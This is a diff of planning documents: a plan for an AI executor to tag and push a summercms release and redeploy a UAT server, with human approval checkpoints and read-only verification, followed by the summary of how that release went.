||||
@../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
Server facts (16-04-SUMMARY, DEPLOY.md "Server facts"): ssh alias `grzybyfunkcjonalne-uat` (user grzybyfunkcjonalne), install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL 17.11 reachable by peer psql as the deploy user. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1 (DEPLOY.md "Smoke").
|
||||
|
||||
The host builds the framework from the `../summercms.go` working tree through a replace (`require ... summercms v0.0.0`), so there is no framework version to bump in the host; the host bump is the journal gitlink. Commits: no co-author tags, stage by explicit path, one logical change per commit.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 1: Release gate: local checks green, tag chosen, a human approves the one-way tag push and the UAT deploy</name>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md (commit hashes per repository), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Release / deploy mechanics, Open Question 1), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md (Docker-host suites)</read_first>
|
||||
<action>Before stopping, the executor does everything automatable and prints a release sheet.
|
||||
|
||||
Concurrency (D-02): in summercms.go, git status --porcelain -- modules admin docs scripts must print nothing; git fetch origin --tags; git log --oneline HEAD..origin/master must print nothing. If origin/master has commits this checkout lacks, the concurrent session pushed: stop and report; do not merge or rebase on your own.
|
||||
|
||||
Tag (D-04): if git tag --contains on the first 16.1-01 cabana commit lists a tag, the concurrent session's release already includes the fixes: propose reusing that tag and cutting none. Otherwise propose the highest tag from git tag -l 'v0.1.*' --sort=-v:refname plus one (v0.1.16 if nobody tagged after v0.1.15) and confirm with git ls-remote --tags origin that it does not exist yet.
|
||||
|
||||
Run the release gate (the verify command). Then print the release sheet: the proposed tag; the commits that will be pushed from summercms.go (git log --oneline origin/master..HEAD, which also carries earlier planning-doc commits) and from ../sm-journal-plugin (git log --oneline origin/main..HEAD); the Postgres-backed suites that cannot run on this machine (TestListQueryContract and the rest of modules/cabana, the sm-journal-plugin admin harness); the deploy steps from DEPLOY.md "Release"; and the rollback (move bin/grzybyfunkcjonalne.prev back and restart grzybyfunkcjonalne-go). Stop for the human.</action>
|
||||
<decision>Push summercms master and the proposed annotated tag, push the plugin and host bumps, and deploy to UAT now?</decision>
|
||||
<context>A pushed tag is read by other repositories' go.mod and the Go module proxy and cannot be moved, only superseded. The cabana changes are covered by DryRun smoke tests only on this machine; the real-database proof is the UAT check in Task 3, with the previous binary kept for rollback. Plan 03 adds full unit coverage after the release (lean rule 3).</context>
|
||||
<options>
|
||||
<option id="release-now">
|
||||
<name>Release now with the proposed tag</name>
|
||||
<pros>UAT gets the fixes immediately; the UAT check in Task 3 exercises the new SQL on the real imported data; rollback is one mv and a restart</pros>
|
||||
<cons>The Postgres-backed suites run only later, on a Docker host; a defect found then needs the next tag</cons>
|
||||
</option>
|
||||
<option id="docker-first">
|
||||
<name>Run the Docker-host suites first, then release</name>
|
||||
<pros>go test ./... in summercms.go and sm-journal-plugin, including the existing relation-search Postgres test, runs before the tag is pushed</pros>
|
||||
<cons>Needs a Docker-enabled machine and delays UAT</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the release</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>UAT keeps the four defects</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 -run '^(TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 2 && go -C ../sm-journal-plugin test -count=1 ./classes/ && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin test && bash scripts/check-admin-dist.sh && echo release-gate-ok</automated>
|
||||
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than two "--- PASS: Test" lines for the two cabana smoke tests, a classes or docs test fails, a vitest file fails, or the dist drift gate reports modules/boardwalk/dist as stale.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The gate printed release-gate-ok.
|
||||
- `git status --porcelain -- modules admin docs scripts` printed nothing and `git log --oneline HEAD..origin/master` printed nothing at the time of the gate.
|
||||
- The SUMMARY records the release sheet (proposed or reused tag, commits to push per repository, suites not run) and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: tag, push, bump, build and deploy; the on-server smoke passes on UAT</name>
|
||||
<reversibility rating="one-way">A pushed annotated summercms tag is consumed by other repositories' go.mod and the Go module proxy; it cannot be moved, only superseded by a later tag.</reversibility>
|
||||
<precondition>Task 1 was answered "release vX" or "docker passed, release vX", RELEASE_TAG is set to that tag in the session, and ssh grzybyfunkcjonalne-uat true exits 0.</precondition>
|
||||
<files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/DEPLOY.md</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, the admin re-save warning section before "Production cutover"), ../sm-grzybyfunkcjonalne-app/README.md (Admin section, the bold warning paragraph near line 114), ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-journal-plugin/go.mod, the Task 1 release sheet in this plan's SUMMARY</read_first>
|
||||
<action>Framework (D-04): unless Task 1 recorded an existing tag that already contains the fixes, re-run git log --oneline HEAD..origin/master (must print nothing), create the annotated tag on summercms.go master HEAD with git tag -a "$RELEASE_TAG" and the message "$RELEASE_TAG: cabana relation search and sort through subqueries, default content locale first, admin list state in the URL and browser storage", then git push origin master and git push origin "$RELEASE_TAG".
|
||||
|
||||
sm-journal-plugin: go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG (the replace to ../summercms.go stays, so the require is nominal; precedent: "chore(deps): require summercms v0.1.10" in sm-translate-plugin); go -C ../sm-journal-plugin vet ./...; commit go.mod only with "chore(deps): require summercms $RELEASE_TAG"; git -C ../sm-journal-plugin push origin main (this also publishes the 16.1-01 FormatHTML commit).
|
||||
|
||||
Host (../sm-grzybyfunkcjonalne-app): git -C plugins/golem15/journal fetch origin and check out the sm-journal-plugin main commit just pushed. Delete the bold README.md paragraph in the Admin section that tells admins not to edit imported posts, and the DEPLOY.md section between "Rollback" and "Production cutover" that tells them not to re-save imported posts: since the FormatHTML fix an admin save keeps imported HTML. Commit the gitlink, README.md and DEPLOY.md together with "chore: bump journal plugin; admin saves keep imported HTML" and push origin master.
|
||||
|
||||
Build: bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, then bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh (it compiles the ../summercms.go working tree, which Task 1 found clean at the tagged HEAD). Record the local sha256sum of ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne.
|
||||
|
||||
Release per DEPLOY.md "Release": rsync the binary to /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.new and config/, scripts/ and build/nuxt/.output/ as listed in "Build and upload" (never a local .env). On the server in /srv/grzybyfunkcjonalne/go: compare the sha256sum of bin/grzybyfunkcjonalne.new with the local one; cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev and mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne; run bin/grzybyfunkcjonalne migrate (this phase adds no migration, it must still exit 0); record RESTART_TS as the server's date in the Go log format (date +'%Y/%m/%d %H:%M:%S') in the SUMMARY and the session; sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt.
|
||||
|
||||
Smoke on the server with the DEPLOY.md recipe (first verify command). On any failure: move bin/grzybyfunkcjonalne.prev back, restart grzybyfunkcjonalne-go, and report.</action>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
|
||||
<fails_when>Non-zero exit: smoke.sh failed on the server, the output contains "smoke: FAIL", or no line starts with "smoke: ok (".</fails_when>
|
||||
<automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 && test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" && echo deploy-ok</automated>
|
||||
<fails_when>Non-zero exit or "deploy-ok" absent: the server binary differs from the local build, fewer than two programs are RUNNING, or the tag is missing on origin.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git ls-remote --tags origin` lists the release tag, and `git tag --contains` on the first 16.1-01 cabana commit lists it (or the SUMMARY names the existing tag Task 1 reused).
|
||||
- `git -C ../sm-journal-plugin rev-parse main` equals `git -C ../sm-journal-plugin rev-parse origin/main`, and ../sm-journal-plugin/go.mod requires summercms at the release tag.
|
||||
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal` shows the pushed sm-journal-plugin main commit, and the host master equals origin/master.
|
||||
- `grep -ci omitted ../sm-grzybyfunkcjonalne-app/README.md ../sm-grzybyfunkcjonalne-app/DEPLOY.md` reports 0 for both files (both warnings removed).
|
||||
- The on-server smoke prints a line starting with "smoke: ok (" and the second verify prints deploy-ok.
|
||||
- The SUMMARY records the tag, the three pushed heads, the local and server sha256 and RESTART_TS; no credential appears in it.
|
||||
</acceptance_criteria>
|
||||
<done>UAT runs the released fixes from the pushed tag and branches, and every smoke URL passes on the server.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:human-action" gate="blocking-human">
|
||||
<name>Task 3: UAT acceptance: a human searches the posts list and re-saves posts 53 and 64; the executor confirms with read-only checks</name>
|
||||
<precondition>Task 2 printed deploy-ok and RESTART_TS is set in the session.</precondition>
|
||||
<read_first>.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Runtime State Inventory: posts 53 and 64; Validation Architecture, Manual), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md (Manual-Only Verifications), ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Smoke, Rollback)</read_first>
|
||||
<action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential. Required human steps in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts: (1) search "cordyceps" and confirm rows appear instead of "The list could not be loaded" (this runs the new relation subquery on the real categories pivot, D-02); (2) open post 53 (czy-amanita-muscaria-jest-legalna) and post 64 (ekstrakt-z-turkey-tail) and press "Zapisz" on each without editing, which re-renders their content_html through the fixed FormatHTML (D-03; RESEARCH: both lost their HTML at import). Optional now, otherwise collected at end of phase: the human-check list below. After the reply, run both verify commands. If either fails, report it and offer the DEPLOY.md rollback (move bin/grzybyfunkcjonalne.prev back and restart grzybyfunkcjonalne-go). Known and accepted (RESEARCH Pitfall 9): each save also stores empty en translations; public output is unchanged.</action>
|
||||
<instructions>
|
||||
Claude deployed the release and passed the on-server smoke in Task 2.
|
||||
The human logs in to the UAT admin (basic-auth realm plus admin account), runs the search and re-saves posts 53 and 64, then replies.
|
||||
</instructions>
|
||||
<verification>Read-only psql on the server: no post holds the placeholder comment, post 64 has its footer element; the Go log since RESTART_TS has no SQLSTATE 42703.</verification>
|
||||
<resume-signal>Type "resaved" once the search returned rows and both posts were saved, or describe what went wrong.</resume-signal>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (SELECT count(*) FROM golem15_journal_posts WHERE content_html LIKE '%raw HTML omitted%') || ':' || (SELECT count(*) FROM golem15_journal_posts WHERE id = 64 AND content_html LIKE '%<footer%')\"" | grep -qx '0:1'</automated>
|
||||
<fails_when>Non-zero exit: the output is not exactly "0:1" (a post still holds the placeholder comment, post 64 lacks its footer element, or psql could not connect).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'sudo supervisorctl tail -65536 grzybyfunkcjonalne-go' | awk -v since="$RESTART_TS" 'substr($0,1,19) >= since' | grep -c 'SQLSTATE 42703' | grep -qx 0</automated>
|
||||
<fails_when>Non-zero exit: a line with "SQLSTATE 42703" was logged after RESTART_TS (with RESTART_TS unset every line is kept, so the earlier failure makes the check fail closed).</fails_when>
|
||||
<human-check>On https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts (D-01): set a sort and a category filter, open a post and press back; open another post and use "Zapisz i zamknij"; leave through the plugin rail and come back: each time the list keeps the sort and the filter and the URL shows them. Paste that URL into a new tab: same list. Log out and in again: the list opens unfiltered. (D-03): open any imported post: the locale selector shows pl first, and title, slug, content and excerpt are filled. /blog/ekstrakt-z-turkey-tail shows the author footer. Reply "UAT approved" or list the issues.</human-check>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The SQL check prints exactly 0:1 on the server.
|
||||
- The log check finds 0 "SQLSTATE 42703" lines after RESTART_TS.
|
||||
- The SUMMARY records the human's reply and the human-check answer (or marks it pending for /msd-verify-work).
|
||||
</acceptance_criteria>
|
||||
<done>Search works on the real pivot, posts 53 and 64 have their HTML back, and the remaining UAT checks are answered or queued for verify-work.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
|
||||
| Executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
|
||||
| Human admin → UAT admin | the only path that writes post data in this plan |
|
||||
| Server .env files → processes | secrets live only on the server |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.1-06 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named smoke tests with a counted PASS check, TestDocsTree, the full vitest suite and the dist drift gate; the Docker-only suites are named in the release sheet and the human chooses release-now or docker-first at a blocking-human checkpoint |
|
||||
| T-16.1-07 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only after git status is clean for modules, admin, docs and scripts and HEAD..origin/master is empty, re-checked right before the push; git tag --contains decides whether a concurrent release already includes the fixes; the uploaded binary's sha256 must equal the local build; the SUMMARY records every pushed head |
|
||||
| T-16.1-08 | Information Disclosure | server .env files and credentials | high | mitigate | No .env is rsynced (DEPLOY.md); the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human; the SUMMARY carries no secret |
|
||||
| T-16.1-09 | Tampering | UAT database and the live Winter site | medium | mitigate | The executor runs only SELECT queries; post data changes only through two human admin saves; the Winter vhost, php-fpm and PHP database are not touched; the previous binary stays as bin/grzybyfunkcjonalne.prev for rollback |
|
||||
| T-16.1-10 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses only supervisorctl restart, status and tail |
|
||||
| T-16.1-SC | Tampering | packages | high | mitigate | No package is installed: the binary and the Nuxt output are built locally from the committed lockfiles and go.sum by scripts/build.sh; go mod edit changes only the nominal summercms require, which resolves through the local replace |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1 printed release-gate-ok and a human chose a release option.
|
||||
- Task 2: the on-server smoke prints "smoke: ok (" and deploy-ok is printed.
|
||||
- Task 3: the SQL check prints 0:1 and the log check finds no SQLSTATE 42703 after RESTART_TS.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-04: tag (or recorded existing tag), plugin and host bumps pushed; UAT redeployed per DEPLOY.md; on-server smoke passes.
|
||||
- D-02 and D-03 proven on the real UAT data; posts 53 and 64 repaired by an admin save.
|
||||
- No credential handled by the executor; no write SQL; the Winter site untouched.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md` when done, with the release sheet, the human replies, the tag and pushed heads, both sha256 values, RESTART_TS, the smoke line and the two read-only check results.
|
||||
</output>
|
||||
@@ -0,0 +1,239 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 02
|
||||
subsystem: infra
|
||||
tags: [release, deploy, uat, supervisor, postgres, git-tag]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: "16.1-01 fixes: cabana relation search and sort subqueries, default locale first, journal FormatHTML keeps raw HTML, admin list state"
|
||||
provides:
|
||||
- "summercms annotated tag v0.1.16 on origin (tag object d8e3536 on d77393b), containing 06d75cb, bd8626e and 9cac45c"
|
||||
- "sm-journal-plugin main a675f2f on origin: FormatHTML fix plus a nominal require of summercms v0.1.16"
|
||||
- "sm-grzybyfunkcjonalne-app master cac2ee7 on origin: journal gitlink bump; README and DEPLOY.md no longer warn against re-saving imported posts"
|
||||
- "UAT runs the v0.1.16 build (sha256 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb), previous binary kept as bin/grzybyfunkcjonalne.prev"
|
||||
- "Posts 53 and 64 on UAT re-rendered by an admin save: no raw-HTML placeholder anywhere, post 64 has its footer"
|
||||
affects: [16.1-03 unit tests, 16.2 blog editor, next summercms tag]
|
||||
|
||||
actuals:
|
||||
tokens: 708 # chars/4 over the realized diffs (sm-journal-plugin a675f2f + host cac2ee7); summercms.go had no code diff
|
||||
tasks: 3
|
||||
commits: 0 # summercms.go, measured: git rev-list --count d77393b..HEAD before this SUMMARY commit; sibling repos add 2 (a675f2f, cac2ee7) and the tag
|
||||
plan_head_before: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
|
||||
plan_head_after: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Go log checks on UAT read /var/log/supervisor/grzybyfunkcjonalne-go.log directly, anchored on the restart's alexandria client_id, not through supervisorctl tail"
|
||||
|
||||
key-files:
|
||||
created: []
|
||||
modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
key-decisions:
|
||||
- "Release v0.1.16 cut on d77393b after the human chose docker-first and reported the Docker-host suites passed"
|
||||
- "UAT log checks read the supervisor log file directly: supervisorctl tail fails with an XML-RPC ExpatError on the ANSI escapes in GORM log lines, and the error text passes a grep -c 0 check vacuously"
|
||||
- "The D-01 and D-03 end-of-phase UAT checks are recorded as human-reported but not independently confirmed; they are queued for /msd-verify-work"
|
||||
|
||||
patterns-established:
|
||||
- "UAT post-data proof: read-only psql via ssh as the deploy user; post data changes only through human admin saves"
|
||||
|
||||
requirements-completed: [D-04, D-03]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "summercms v0.1.16 annotated tag on origin contains every 16.1-01 commit; sm-journal-plugin main and the host master are pushed with the bumps; README and DEPLOY.md lost the re-save warning"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "git tag --contains 06d75cb (v0.1.16); git ls-remote --tags origin refs/tags/v0.1.16 (d8e3536); journal main == origin/main a675f2f; host master == origin/master cac2ee7; grep -ci omitted README.md DEPLOY.md = 0/0"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "UAT runs the locally built binary (sha256 equal on both sides), both supervisor programs RUNNING, previous binary kept, on-server smoke ok (98 urls)"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "Task 2 verify 1: on-server scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl -> 'smoke: ok (98 urls)'"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "Task 2 verify 2: sha256 local == server 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb; 2 RUNNING; tag on origin -> deploy-ok (re-checked 20:36 UTC)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Posts 53 and 64 re-rendered by an admin save: no post holds the raw-HTML placeholder, post 64 has its footer"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "ssh grzybyfunkcjonalne-uat psql SELECT placeholder count || ':' || post-64 footer count -> 0:1 (20:35 UTC)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "No SQLSTATE 42703 in the Go log since the 19:36:54 UTC restart (the relation search no longer fails on the real categories pivot)"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "corrected log check on /var/log/supervisor/grzybyfunkcjonalne-go.log since 2026/10/09 19:36:54 -> 0 (19 lines since restart)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Human UAT: posts-list search 'cordyceps' returns rows (D-02); list sort and category filter survive open/back, save-and-close and rail navigation and stay in the URL (D-01); an imported post's form shows pl first with title, slug, content and excerpt filled (D-03)"
|
||||
requirement: D-03
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Needs a browser session behind UAT basic auth and an admin login, which the executor never holds; the human reported 'all works' but that reply arrived before the re-saves had reached UAT, so these checks are not independently confirmed"
|
||||
|
||||
duration: 1h 26m
|
||||
completed: 2026-10-09
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.1 Plan 02: Release and UAT redeploy Summary
|
||||
|
||||
**summercms v0.1.16 is tagged and on origin. The journal plugin and the host are bumped and pushed. UAT runs the new build, and its on-server smoke passed. After the human re-saved posts 53 and 64, read-only checks show their HTML is back and no SQLSTATE 42703 has appeared in the log since the restart.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 1h 26m wall clock. Most of it was waiting on the three human checkpoints.
|
||||
- **Started:** 2026-10-09T19:10:00Z (Task 1 release sheet, approximate)
|
||||
- **Completed:** 2026-10-09T20:36:08Z
|
||||
- **Tasks:** 3 of 3
|
||||
- **Files modified:** 4, all in sibling repositories (`../sm-journal-plugin/go.mod`, plus the host's journal gitlink, `README.md` and `DEPLOY.md`)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Release gate (Task 1).** The gate printed `release-gate-ok`. The human chose docker-first with tag v0.1.16.
|
||||
- **Tag and pushes (Task 2).** Annotated tag `v0.1.16`, tag object `d8e3536b4dce4389cac23c88b42837ee72dc872a`, on `d77393b4d1924ba5fa118faf71ded9a5163d6d5c`. Pushes:
|
||||
- summercms master `e381f2c..d77393b`
|
||||
- sm-journal-plugin main `3d533d4..a675f2f`
|
||||
- host master `87e5353..cac2ee7`
|
||||
- **UAT redeploy (Task 2).** The build ran through `scripts/build.sh`.
|
||||
- The sha256 is the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
|
||||
- `migrate` ran and succeeded.
|
||||
- Both programs were restarted at `RESTART_TS=2026/10/09 19:36:54` (server time, UTC) and are RUNNING.
|
||||
- The on-server smoke printed `smoke: ok (98 urls)`.
|
||||
- **UAT data repair (Task 3).** The human re-saved posts 53 and 64 in the admin. The read-only SQL check now prints `0:1`, where it printed `2:0` before the re-saves.
|
||||
- Post 53: `updated_at` 2026-10-09 20:33:53.908 UTC, no placeholder.
|
||||
- Post 64: `updated_at` 20:34:08.100 UTC, no placeholder, footer present.
|
||||
- **Relation search on real data (Task 3).** No `SQLSTATE 42703` line has appeared in the Go log since the restart (19 lines checked). The 6 such lines in the file all predate the restart.
|
||||
|
||||
## Task Commits
|
||||
|
||||
The plan made no code commits in summercms.go. The release is a tag on the existing HEAD `d77393b`.
|
||||
|
||||
1. **Task 1: Release gate** (checkpoint:decision, blocking-human): no commit, by design
|
||||
2. **Task 2: Tracer: tag, push, bump, build, deploy, on-server smoke:**
|
||||
- summercms tag `v0.1.16` (tag object `d8e3536` on `d77393b`)
|
||||
- sm-journal-plugin `a675f2f` (chore(deps): require summercms v0.1.16)
|
||||
- sm-grzybyfunkcjonalne-app `cac2ee7` (chore: bump journal plugin; admin saves keep imported HTML)
|
||||
3. **Task 3: UAT acceptance** (checkpoint:human-action, blocking-human): no commit. The human re-saved posts 53 and 64 in the admin, and the executor ran read-only checks afterwards.
|
||||
|
||||
**Plan metadata:** this SUMMARY's docs commit; the STATE and ROADMAP updates are committed separately.
|
||||
|
||||
## Release sheet (Task 1, ~19:10 UTC)
|
||||
|
||||
- **summercms.go:** master HEAD `d77393b`, working tree clean. `HEAD..origin/master` was empty. No tag contained `06d75cb`. The highest tag was v0.1.15, so v0.1.16 was proposed and was absent on origin.
|
||||
- **Gate (`release-gate-ok`):**
|
||||
- `go vet` was clean in both repositories.
|
||||
- `TestListRelationSearchSmoke` and `TestEnabledLocalesDefaultFirstSmoke` passed.
|
||||
- sm-journal-plugin `./classes` passed, and so did `TestDocsTree`.
|
||||
- admin vitest ran 75 files and 1106 tests, all passing.
|
||||
- `check-admin-dist.sh` found no drift, and `check-admin-openapi.sh --check` exited 0.
|
||||
- **Commits pushed from summercms.go:** 26 commits, including `06d75cb`, `bd8626e`, `9cac45c` and `c5e03f4` "test(16-05): Phase 16 gate".
|
||||
- **Commits pushed from sm-journal-plugin:** `528d2d8`.
|
||||
- **Not runnable on this machine** (no Docker socket permission): the Postgres/testcontainers suites in `modules/cabana` and the sm-journal-plugin admin harness.
|
||||
- **Hygiene:** `check-phase10.sh --hygiene` reported 5 pre-existing findings, already recorded in `deferred-items.md`.
|
||||
- **Human reply, verbatim:** "release v0.1.16, docker passed". This is the docker-first option with `RELEASE_TAG=v0.1.16`.
|
||||
|
||||
## Task 2 record (~19:33 UTC)
|
||||
|
||||
- **Pre-tag re-checks:** fetch ok, `HEAD..origin/master` empty, v0.1.16 absent on origin, ssh ok.
|
||||
- **Tag:** `git ls-remote` shows `d8e3536b4dce4389cac23c88b42837ee72dc872a refs/tags/v0.1.16`.
|
||||
- **Pushed heads:**
|
||||
- sm-journal-plugin main: `a675f2f197d04f0a30ff03025ddcc9d2c8a93d54`
|
||||
- host master: `cac2ee72fa0cc64d15488680615489ac62de9c83`. Its journal gitlink is `a675f2f`.
|
||||
- **Build and upload:**
|
||||
- `check-deploy.sh` ok, and `build.sh` exited 0.
|
||||
- sha256 of the new binary, the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
|
||||
- The previous binary is kept as `bin/grzybyfunkcjonalne.prev` (sha256 `94116f4ab576c99a130167bbf0ad9accbece48630747e03b2f9727a6a18d68ea`).
|
||||
- No `.env` was uploaded.
|
||||
- **Restart:** `migrate` ok, `RESTART_TS=2026/10/09 19:36:54`, both programs RUNNING.
|
||||
- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
|
||||
- **Baseline before the re-saves:** the SQL check printed `2:0`.
|
||||
|
||||
## Task 3 record
|
||||
|
||||
- **First human reply, verbatim:** "all works".
|
||||
- The read-only follow-up checks still printed `2:0`. Posts 53 and 64 had `updated_at` 17:33:52 UTC, which was also the latest `updated_at` across all posts, and there were no journal-post translation rows. So no save had reached UAT yet.
|
||||
- The log check passed: 0 `SQLSTATE 42703` lines since the restart, out of 18 lines.
|
||||
- No rollback was recommended or performed. A checkpoint was returned.
|
||||
- **Second human reply, verbatim:** "resaved, no errors".
|
||||
- **Orchestrator re-check:** post 53 at 20:33:53.908 UTC and post 64 at 20:34:08.100 UTC. Neither holds the placeholder, post 64 has its footer, and the check printed `0:1`.
|
||||
- **This executor's re-check (20:35 UTC):**
|
||||
- SQL check: printed `0:1`, so `SQL-CHECK-PASS`.
|
||||
- Corrected log check: `LOG-CHECK-PASS`, with 19 lines since the restart and 0 `SQLSTATE 42703`.
|
||||
- **End-of-phase human checks** (step 3 of the plan: D-01 list state, D-03 form locales and fields, the post-64 footer on `/blog/ekstrakt-z-turkey-tail`): the human reported them under "all works". That reply came before the re-saves had reached UAT, so they are **recorded as human-reported, not independently confirmed**. They are pending for `/msd-verify-work` (coverage D5).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../sm-journal-plugin/go.mod`: nominal `require git.golem15.com/golem15/summercms v0.1.16`. The replace to `../summercms.go` stays.
|
||||
